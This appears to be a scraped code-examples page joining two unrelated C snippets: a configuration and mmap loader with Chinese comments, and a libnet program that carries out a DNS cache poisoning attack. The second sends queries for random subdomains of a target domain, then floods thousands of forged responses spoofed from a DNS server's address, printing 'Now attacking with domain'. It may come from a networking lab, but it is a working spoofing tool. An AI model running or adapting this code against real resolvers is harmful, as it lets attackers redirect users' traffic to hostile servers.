int load_conf_ip_hash_mmap_connect()
{
	if (load_conf() == -1)		//读取配置
		return -1;
	if (build_dir() == -1)		//创建cdn测速的待发文件目录,idc和cdn的mmap文件所在目录
		return -1;
	if (load_ip() == -1)			//读入ip库
		return -1;
	if (load_hash() == -1)		//创建hash表,用以记录mmap中每一条记录在mmap中的偏移
		return -1;
	if (load_mmap() == -1)		//创建mmap文件
		return -1;
	if (load_linkip(link_ip_config_file) == -1)
		return -1;

	DEBUG_LOG("GET from ip:ip_ready\t:[%u]",idc_test_ip_mmap.ready_num);
	DEBUG_LOG("GET from area:area_ready\t:[%u]",idc_test_area_mmap.ready_num);
	set_hash_for_area_mmap();//从ip库中读出每一条"省市运营商"记录,写入mmap,并相应建立area的hash表

	int data;
	backup_mmap_file(0, &data);

	if (connect_2_dbserver() == -1)
		return 0;
	return 0;
}
Exemple #2
0
int
main(int argc, char *argv[])
{
    /*
     *  Initialize the library.  Root priviledges are required.
     */

    l = libnet_init(
            LIBNET_LINK,                             /* injection type */
            // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
	   "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
            errbuf);                                 /* error buffer */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE); 
    }
	
/*  src_ip  = 0;
    dst_ip  = 0;
    src_prt = 0;
    dst_prt = 0;
    payload = NULL;
    payload_s = 0;
*/
    while ((c = getopt (argc, argv, "p:t:i:e:")) != EOF)
    {
        switch (c)
        {
            case 'p':
                strcpy(payload_file, optarg);
                break;
            case 't':
                strcpy(tcp_file, optarg);
                break;
            case 'i':
                strcpy(ip_file, optarg);
                break;
            case 'e':
                strcpy(eth_file, optarg);
                break;
            default:
                break;
        }
    }

    if (optind != 9)
    {    
        usage();
        exit(0);
    }
    
    i_dns_bind2_addr = libnet_name2addr4(l, dns_bind2_addr, LIBNET_RESOLVE);
    sscanf("08, 00, 27, 90, 31, 81", "%x, %x, %x, %x, %x, %x", &res_eth_saddr[0], &res_eth_saddr[1], &res_eth_saddr[2], &res_eth_saddr[3], &res_eth_saddr[4], &res_eth_saddr[5]);

    srand((int)time(0));
    int loop_counter = 0;
    while (1==1) {
        int randomNumber = (rand()%10000000);
        while (randomNumber<1000000) randomNumber*=10;
        sprintf(random_host, ".x-%d.%s", randomNumber,attack_domain);
        printf("\nNow attacking with domain %s \n",random_host);
        convertDomain();

        // load_payload();
        load_payload_query(); // get the new payload with random subdomain
        load_ethernet();
        load_tcp_udp();
        load_ip();
        convert_proto();

        if(ip_proto_val==IPPROTO_TCP){    
            t = libnet_build_tcp(
                t_src_port,                                    /* source port */
                t_des_port,                                    /* destination port */
                t_seq,                                         /* sequence number */
                t_ack,                                         /* acknowledgement num */
                t_control_val,                                 /* control flags */
                t_win,                                         /* window size */
                0,                                             /* checksum */
                t_urgent,                                      /* urgent pointer */
                LIBNET_TCP_H + payload_filesize,               /* TCP packet size */
            payload_location,                              /* payload */
                payload_filesize,                              /* payload size */
                l,                                             /* libnet handle */
                0);                                            /* libnet id */
            head_type = LIBNET_TCP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }
 
        if(ip_proto_val==IPPROTO_UDP){
                t = libnet_build_udp(
                t_src_port,                                /* source port */
                t_des_port,                                /* destination port */
                LIBNET_UDP_H + payload_filesize,           /* packet length */
                0,                                         /* checksum */
                payload_location,                          /* payload */
                payload_filesize,                          /* payload size */
                l,                                         /* libnet handle */
                0);                                        /* libnet id */
            head_type = LIBNET_UDP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }


        t = libnet_build_ipv4(
    /*        LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,          length */
            LIBNET_IPV4_H + head_type + payload_filesize,          /* length */
        i_ttos_val,                                            /* TOS */
            i_id,                                                  /* IP ID */
            i_frag,                                                /* IP Frag */
            i_ttl,                                                 /* TTL */
            ip_proto_val,                                          /* protocol */
            0,                                                     /* checksum */
            i_src_addr,                                            /* source IP */
            i_des_addr,                                            /* destination IP */
            NULL,                                                  /* payload */
            0,                                                     /* payload size */
            l,                                                     /* libnet handle */
            0);                                                    /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
            goto bad;
        }

        t = libnet_build_ethernet(
            eth_daddr,                                   /* ethernet destination */
            eth_saddr,                                   /* ethernet source */
            e_proto_val,                                 /* protocol type */
            NULL,                                        /* payload */
            0,                                           /* payload size */
            l,                                           /* libnet handle */
            0);                                          /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
            goto bad;
        }
         /* 
         *  Write it to the wire.
         */
        c = libnet_write(l);
        // sending the request to the DNS server
        free(payload_location);
        libnet_destroy(l);
        // reinit the handle so that we can set new parameters to the handle.

    for (i=0;i<10000;i++) { // loop to send 10000 responses for each request.
        l = libnet_init(
        LIBNET_LINK,                             /* injection type */
        // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
        "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
        errbuf);                                 /* error buffer */

        // reinit the handle for sending responses
        if (l == NULL)
        {
            fprintf(stderr, "libnet_init() failed: %s", errbuf);
            exit(EXIT_FAILURE); 
        }

        load_payload_answer();
        // generate the response and send it

        // change the ports of source port and destination port to match the second DNS query
        if(ip_proto_val==IPPROTO_UDP){
                t = libnet_build_udp(
                t_des_port,                                /* source port */
                t_src_port,                                /* destination port */
                LIBNET_UDP_H + payload_filesize,           /* packet length */
                0,                                         /* checksum */
                payload_location,                          /* payload */
                payload_filesize,                          /* payload size */
                l,                                         /* libnet handle */
                0);                                        /* libnet id */
            head_type = LIBNET_UDP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }

        // change the ethernet headers to match the response from the second DNS server
        t = libnet_build_ipv4(
         /*        LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,          length */
            LIBNET_IPV4_H + head_type + payload_filesize,          /* length */
        i_ttos_val,                                            /* TOS */
            i_id,                                                  /* IP ID */
            i_frag,                                                /* IP Frag */
            i_ttl,                                                 /* TTL */
            ip_proto_val,                                          /* protocol */
            0,                                                     /* checksum */
            i_dns_bind2_addr,                                            /* source IP */
            i_des_addr,                                            /* destination IP */
            NULL,                                                  /* payload */
            0,                                                     /* payload size */
            l,                                                     /* libnet handle */
            0);                                                    /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
            goto bad;
        }

        t = libnet_build_ethernet(
            eth_daddr,                                   /* ethernet destination */
            res_eth_saddr,                                   /* ethernet source */
            e_proto_val,                                 /* protocol type */
            NULL,                                        /* payload */
            0,                                           /* payload size */
            l,                                           /* libnet handle */
            0);                                          /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
            goto bad;
        }
         /* 
         *  Write it to the wire.
         */
        c = libnet_write(l);
        printf("****  %d packets sent  **** (packetsize: %d bytes each)\n",eth_pktcount,c);  /* tell them what we just did */
        free(payload_location);
        libnet_destroy(l);

    }


        l = libnet_init(
        LIBNET_LINK,                             /* injection type */
        // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
        "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
        errbuf);                                 /* error buffer */

        if (l == NULL)
        {
            fprintf(stderr, "libnet_init() failed: %s", errbuf);
            exit(EXIT_FAILURE); 
        }
        



        loop_counter++;
        printf("%d\n", loop_counter);
            if(loop_counter == 2){
                break;
            }
            // loop to do for multiple unique requests

    }

    /* give the buf memory back */
    // clear memory 
    libnet_destroy(l);
    return 0;
bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);

// clear memory on failure
}